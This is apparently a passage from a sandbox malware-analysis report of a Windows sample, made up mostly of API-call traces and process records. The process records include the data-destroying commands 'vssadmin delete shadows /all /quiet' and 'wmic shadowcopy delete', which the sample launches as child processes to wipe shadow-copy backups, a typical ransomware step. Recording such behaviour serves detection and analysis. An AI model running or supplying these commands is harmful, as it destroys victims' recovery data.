SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0x7) returned 1 [0118.153] GetLastError () returned 0x0 [0118.153] CloseHandle (hObject=0x53) returned 1 [0118.153] GetLastError () returned 0x0 [0118.157] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0118.161] GetLastError () returned 0x0 [0118.161] GetConsoleMode (in: hConsoleHandle=0x53, lpMode=0x5e8ecb4 | out: lpMode=0x5e8ecb4) returned 1 [0118.162] GetLastError () returned 0x0 [0118.162] WriteConsoleW (in: hConsoleOutput=0x53, lpBuffer=0x28f9a18*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5e8ecb4, lpReserved=0x0 | out: lpBuffer=0x28f9a18*, lpNumberOfCharsWritten=0x5e8ecb4*=0x1) returned 1 [0118.162] GetLastError () returned 0x0 [0118.162] CloseHandle (hObject=0x53) returned 1 [0118.162] GetLastError () returned 0x0 [0118.167] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0118.181] GetLastError () returned 0x0 [0118.181] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5e8ec80 | out: lpConsoleScreenBufferInfo=0x5e8ec80) returned 1 [0118.181] GetLastError () returned 0x0 [0118.181] GetConsoleOutputCP () returned 0x1b5 [0118.181] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0118.181] GetLastError () returned 0x0 [0118.186] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57 [0118.186] GetLastError () returned 0x0 [0118.186] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x57, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0118.186] GetLastError () returned 0x0 [0118.190] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b [0118.191] GetLastError () returned 0x0 [0118.191] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5b, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0118.191] GetLastError () returned 0x0 [0118.195] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0118.195] GetLastError () returned 0x0 [0118.195] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0118.195] GetLastError () returned 0x0 [0118.195] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0xc) returned 1 [0118.195] GetLastError () returned 0x0 [0118.195] CloseHandle (hObject=0x5f) returned 1 [0118.196] GetLastError () returned 0x0 [0118.199] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0118.200] GetLastError () returned 0x0 [0118.200] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0118.200] GetLastError () returned 0x0 [0118.200] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0xc) returned 1 [0118.200] GetLastError () returned 0x0 [0118.201] CloseHandle (hObject=0x5f) returned 1 [0118.201] GetLastError () returned 0x0 [0118.205] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0118.205] GetLastError () returned 0x0 [0118.205] GetConsoleMode (in: hConsoleHandle=0x5f, lpMode=0x5e8ec74 | out: lpMode=0x5e8ec74) returned 1 [0118.205] GetLastError () returned 0x0 [0118.205] WriteConsoleW (in: hConsoleOutput=0x5f, lpBuffer=0x2bda4d0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5e8ec74, lpReserved=0x0 | out: lpBuffer=0x2bda4d0*, lpNumberOfCharsWritten=0x5e8ec74*=0x4f) returned 1 [0118.226] GetLastError () returned 0x0 [0118.226] CloseHandle (hObject=0x5f) returned 1 [0118.226] GetLastError () returned 0x0 [0118.230] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0118.231] GetLastError () returned 0x0 [0118.231] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0118.231] GetLastError () returned 0x0 [0118.231] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1 [0118.231] GetLastError () returned 0x0 [0118.231] CloseHandle (hObject=0x5f) returned 1 [0118.232] GetLastError () returned 0x0 [0118.236] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0118.236] GetLastError () returned 0x0 [0118.236] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0118.236] GetLastError () returned 0x0 [0118.236] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1 [0118.236] GetLastError () returned 0x0 [0118.237] CloseHandle (hObject=0x5f) returned 1 [0118.237] GetLastError () returned 0x0 [0118.241] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0118.241] GetLastError () returned 0x0 [0118.241] GetConsoleMode (in: hConsoleHandle=0x5f, lpMode=0x5e8ecb4 | out: lpMode=0x5e8ecb4) returned 1 [0118.241] GetLastError () returned 0x0 [0118.241] WriteConsoleW (in: hConsoleOutput=0x5f, lpBuffer=0x28f9a18*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5e8ecb4, lpReserved=0x0 | out: lpBuffer=0x28f9a18*, lpNumberOfCharsWritten=0x5e8ecb4*=0x1) returned 1 [0118.241] GetLastError () returned 0x0 [0118.242] CloseHandle (hObject=0x5f) returned 1 [0118.242] GetLastError () returned 0x0 [0118.246] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0118.248] GetLastError () returned 0x0 [0118.248] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8ec80 | out: lpConsoleScreenBufferInfo=0x5e8ec80) returned 1 [0118.248] GetLastError () returned 0x0 [0118.248] GetConsoleOutputCP () returned 0x1b5 [0118.249] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0118.249] GetLastError () returned 0x0 [0118.253] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x63 [0118.254] GetLastError () returned 0x0 [0118.254] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0118.254] GetLastError () returned 0x0 [0118.259] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67 [0118.259] GetLastError () returned 0x0 [0118.259] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x67, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0118.260] GetLastError () returned 0x0 [0118.264] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0118.266] GetLastError () returned 0x0 [0118.266] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0118.266] GetLastError () returned 0x0 [0118.266] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0xc) returned 1 [0118.267] GetLastError () returned 0x0 [0118.267] CloseHandle (hObject=0x6b) returned 1 [0118.267] GetLastError () returned 0x0 [0118.271] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0118.271] GetLastError () returned 0x0 [0118.271] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0118.272] GetLastError () returned 0x0 [0118.272] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0xc) returned 1 [0118.272] GetLastError () returned 0x0 [0118.272] CloseHandle (hObject=0x6b) returned 1 [0118.272] GetLastError () returned 0x0 [0118.277] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0118.277] GetLastError () returned 0x0 [0118.277] GetConsoleMode (in: hConsoleHandle=0x6b, lpMode=0x5e8ec74 | out: lpMode=0x5e8ec74) returned 1 [0118.277] GetLastError () returned 0x0 [0118.277] WriteConsoleW (in: hConsoleOutput=0x6b, lpBuffer=0x2bda9ac*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x5e8ec74, lpReserved=0x0 | out: lpBuffer=0x2bda9ac*, lpNumberOfCharsWritten=0x5e8ec74*=0x1e) returned 1 [0118.278] GetLastError () returned 0x0 [0118.278] CloseHandle (hObject=0x6b) returned 1 [0118.278] GetLastError () returned 0x0 [0118.282] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0118.283] GetLastError () returned 0x0 [0118.283] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0118.283] GetLastError () returned 0x0 [0118.283] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0x7) returned 1 [0118.283] GetLastError () returned 0x0 [0118.283] CloseHandle (hObject=0x6b) returned 1 [0118.283] GetLastError () returned 0x0 [0118.287] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0118.288] GetLastError () returned 0x0 [0118.288] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0118.288] GetLastError () returned 0x0 [0118.288] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0x7) returned 1 [0118.288] GetLastError () returned 0x0 [0118.289] CloseHandle (hObject=0x6b) returned 1 [0118.289] GetLastError () returned 0x0 [0118.293] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0118.293] GetLastError () returned 0x0 [0118.293] GetConsoleMode (in: hConsoleHandle=0x6b, lpMode=0x5e8ecb4 | out: lpMode=0x5e8ecb4) returned 1 [0118.293] GetLastError () returned 0x0 [0118.293] WriteConsoleW (in: hConsoleOutput=0x6b, lpBuffer=0x28f9a18*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5e8ecb4, lpReserved=0x0 | out: lpBuffer=0x28f9a18*, lpNumberOfCharsWritten=0x5e8ecb4*=0x1) returned 1 [0118.293] GetLastError () returned 0x0 [0118.294] CloseHandle (hObject=0x6b) returned 1 [0118.294] GetLastError () returned 0x0 [0118.298] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0118.298] GetLastError () returned 0x0 [0118.298] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5e8ec80 | out: lpConsoleScreenBufferInfo=0x5e8ec80) returned 1 [0118.298] GetLastError () returned 0x0 [0118.298] GetConsoleOutputCP () returned 0x1b5 [0118.298] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0118.298] GetLastError () returned 0x0 [0118.303] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f [0118.304] GetLastError () returned 0x0 [0118.304] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6f, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0118.304] GetLastError () returned 0x0 [0118.309] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x73 [0118.309] GetLastError () returned 0x0 [0118.309] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x73, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0118.309] GetLastError () returned 0x0 [0118.313] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0118.314] GetLastError () returned 0x0 [0118.314] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0118.314] GetLastError () returned 0x0 [0118.314] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0xc) returned 1 [0118.314] GetLastError () returned 0x0 [0118.314] CloseHandle (hObject=0x77) returned 1 [0118.315] GetLastError () returned 0x0 [0118.319] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0118.319] GetLastError () returned 0x0 [0118.319] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0118.319] GetLastError () returned 0x0 [0118.319] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0xc) returned 1 [0118.319] GetLastError () returned 0x0 [0118.320] CloseHandle (hObject=0x77) returned 1 [0118.320] GetLastError () returned 0x0 [0118.324] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0118.325] GetLastError () returned 0x0 [0118.325] GetConsoleMode (in: hConsoleHandle=0x77, lpMode=0x5e8ec74 | out: lpMode=0x5e8ec74) returned 1 [0118.325] GetLastError () returned 0x0 [0118.325] WriteConsoleW (in: hConsoleOutput=0x77, lpBuffer=0x2bdad04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5e8ec74, lpReserved=0x0 | out: lpBuffer=0x2bdad04*, lpNumberOfCharsWritten=0x5e8ec74*=0x1) returned 1 [0118.325] GetLastError () returned 0x0 [0118.325] CloseHandle (hObject=0x77) returned 1 [0118.325] GetLastError () returned 0x0 [0118.330] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0118.330] GetLastError () returned 0x0 [0118.330] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0118.330] GetLastError () returned 0x0 [0118.330] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0x7) returned 1 [0118.330] GetLastError () returned 0x0 [0118.331] CloseHandle (hObject=0x77) returned 1 [0118.331] GetLastError () returned 0x0 [0118.335] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0118.336] GetLastError () returned 0x0 [0118.336] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0118.336] GetLastError () returned 0x0 [0118.336] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0x7) returned 1 [0118.336] GetLastError () returned 0x0 [0118.336] CloseHandle (hObject=0x77) returned 1 [0118.337] GetLastError () returned 0x0 [0118.341] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0118.341] GetLastError () returned 0x0 [0118.341] GetConsoleMode (in: hConsoleHandle=0x77, lpMode=0x5e8ecb4 | out: lpMode=0x5e8ecb4) returned 1 [0118.342] GetLastError () returned 0x0 [0118.342] WriteConsoleW (in: hConsoleOutput=0x77, lpBuffer=0x28f9a18*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5e8ecb4, lpReserved=0x0 | out: lpBuffer=0x28f9a18*, lpNumberOfCharsWritten=0x5e8ecb4*=0x1) returned 1 [0118.342] GetLastError () returned 0x0 [0118.342] CloseHandle (hObject=0x77) returned 1 [0118.342] GetLastError () returned 0x0 [0118.349] SetEvent (hEvent=0x398) returned 1 [0118.349] GetLastError () returned 0x0 [0118.349] SetEvent (hEvent=0x3b0) returned 1 [0118.349] GetLastError () returned 0x0 [0118.349] SetEvent (hEvent=0x3b4) returned 1 [0118.349] GetLastError () returned 0x0 [0118.349] SetEvent (hEvent=0x3d4) returned 1 [0118.349] GetLastError () returned 0x0 [0118.349] SetEvent (hEvent=0x328) returned 1 [0118.349] GetLastError () returned 0x0 [0118.350] SetEvent (hEvent=0x3bc) returned 1 [0118.350] GetLastError () returned 0x0 [0118.350] SetEvent (hEvent=0x3c0) returned 1 [0118.350] GetLastError () returned 0x0 [0118.350] SetEvent (hEvent=0x324) returned 1 [0118.350] GetLastError () returned 0x0 [0118.350] SetEvent (hEvent=0x3c4) returned 1 [0118.350] GetLastError () returned 0x0 [0118.350] CoUninitialize () Thread: id = 131 os_tid = 0x870 Thread: id = 132 os_tid = 0xbd4 Thread: id = 143 os_tid = 0x774 Thread: id = 144 os_tid = 0xa70 [0118.408] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0118.434] SetThreadUILanguage (LangId=0x0) returned 0x409 [0118.435] VirtualQuery (in: lpAddress=0x699e350, lpBuffer=0x699f350, dwLength=0x1c | out: lpBuffer=0x699f350*(BaseAddress=0x699e000, AllocationBase=0x6010000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.435] VirtualQuery (in: lpAddress=0x699e46c, lpBuffer=0x699f46c, dwLength=0x1c | out: lpBuffer=0x699f46c*(BaseAddress=0x699e000, AllocationBase=0x6010000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.440] SetEvent (hEvent=0x4a8) returned 1 [0118.440] GetLastError () returned 0x0 [0118.440] SetEvent (hEvent=0x1f0) returned 1 [0118.440] GetLastError () returned 0x0 [0118.440] SetEvent (hEvent=0x488) returned 1 [0118.440] GetLastError () returned 0x0 [0118.440] SetEvent (hEvent=0x4a8) returned 1 [0118.440] GetLastError () returned 0x0 [0118.440] SetEvent (hEvent=0x1f0) returned 1 [0118.440] GetLastError () returned 0x0 [0118.441] SetEvent (hEvent=0x470) returned 1 [0118.441] GetLastError () returned 0x0 [0118.441] SetEvent (hEvent=0x48c) returned 1 [0118.441] GetLastError () returned 0x0 [0118.441] SetEvent (hEvent=0x408) returned 1 [0118.441] GetLastError () returned 0x0 [0118.441] SetEvent (hEvent=0x40c) returned 1 [0118.441] GetLastError () returned 0x0 [0118.441] SetEvent (hEvent=0x41c) returned 1 [0118.441] GetLastError () returned 0x0 [0118.457] CoUninitialize () Process: id = "8" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0x48aed000" os_pid = "0x6c0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1c0" cmd_line = "vssadmin delete shadows /all /quiet " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 15 os_tid = 0x664 Thread: id = 18 os_tid = 0x484 Thread: id = 20 os_tid = 0x694 Thread: id = 21 os_tid = 0x86c Thread: id = 22 os_tid = 0x87c Process: id = "9" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x48427000" os_pid = "0x88c" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "8" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005c3e4" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 23 os_tid = 0x9e4 Thread: id = 24 os_tid = 0x9d4 Thread: id = 25 os_tid = 0x9c4 Thread: id = 26 os_tid = 0x9b4 [0075.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd3d800 | out: lpSystemTimeAsFileTime=0xd3d800*(dwLowDateTime=0x83a87a80, dwHighDateTime=0x1d60051)) [0075.442] GetCurrentProcessId () returned 0x88c [0075.442] GetCurrentThreadId () returned 0x9b4 [0075.442] GetTickCount () returned 0x1148363 [0075.442] QueryPerformanceCounter (in: lpPerformanceCount=0xd3d808 | out: lpPerformanceCount=0xd3d808*=19525049335) returned 1 [0075.443] malloc (_Size=0x100) returned 0x338e80 Thread: id = 27 os_tid = 0x9a4 Thread: id = 28 os_tid = 0x994 Thread: id = 29 os_tid = 0x89c Thread: id = 44 os_tid = 0x9f8 Thread: id = 162 os_tid = 0x3f8 Process: id = "10" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x972d000" os_pid = "0xc8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dde1" [0xc000000f], "LOCAL" [0x7] Thread: id = 30 os_tid = 0xaf0 Thread: id = 31 os_tid = 0x730 Thread: id = 32 os_tid = 0x768 Thread: id = 33 os_tid = 0x764 Thread: id = 34 os_tid = 0x758 Thread: id = 35 os_tid = 0x724 Thread: id = 36 os_tid = 0x718 Thread: id = 37 os_tid = 0x714 Thread: id = 38 os_tid = 0x630 Thread: id = 39 os_tid = 0x154 Thread: id = 40 os_tid = 0x150 Thread: id = 41 os_tid = 0x120 Thread: id = 42 os_tid = 0x118 Thread: id = 43 os_tid = 0xf0 Thread: id = 145 os_tid = 0x82c Thread: id = 163 os_tid = 0x640 Process: id = "11" image_name = "wmic.exe" filename = "c:\\windows\\syswow64\\wbem\\wmic.exe" page_root = "0x44bf5000" os_pid = "0x4e4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1c0" cmd_line = "wmic shadowcopy delete " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 45 os_tid = 0x5a8 [0081.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bff44 | out: lpSystemTimeAsFileTime=0x2bff44*(dwLowDateTime=0x86136000, dwHighDateTime=0x1d60051)) [0081.581] GetCurrentProcessId () returned 0x4e4 [0081.581] GetCurrentThreadId () returned 0x5a8 [0081.581] GetTickCount () returned 0x114933b [0081.581] 